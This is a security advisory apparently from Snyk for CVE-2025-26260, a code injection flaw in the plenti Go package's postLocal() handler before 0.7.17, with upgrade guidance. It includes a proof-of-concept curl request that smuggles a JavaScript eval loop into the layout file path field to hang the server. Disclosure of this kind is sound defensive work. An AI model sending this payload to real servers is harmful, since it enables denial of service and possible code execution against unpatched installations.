Code Injection Affecting github.com/plentico/plenti/cmd package, versions <0.7.17
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-GOLANG-GITHUBCOMPLENTICOPLENTICMD-9680271
- published10 Apr 2025
- disclosed13 Mar 2025
- creditAhmet Akan
Introduced: 13 Mar 2025
CVE-2025-26260 (opens in a new tab)How to fix?
Upgrade github.com/plentico/plenti/cmd to version 0.7.17 or higher.
Overview
Affected versions of this package are vulnerable to Code Injection in the postLocal() function in serve.go. An attacker can cause denial of service by supplying a malicious layout path parameter, which can be chained with a sandbox escape from v8 to achieve code execution on the vulnerable application.
PoC
curl --path-as-is -i -s -k -X $'POST' \
-H $'Host: localhost:3000' -H $'Content-Length: 125' -H $'Content-Type: application/json; charset=utf-8' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36' -H $'Accept-Encoding: gzip, deflate, br' -H $'Connection: keep-alive' \
--data-binary $'[{\"action\":\"create\",\"encoding\":\"text\",\"file\":\"layouts/global/test; eval(`while(1);`);var test.svelte\",\"contents\":\"anethole\"}]' \
$'http://localhost:3000/postlocal'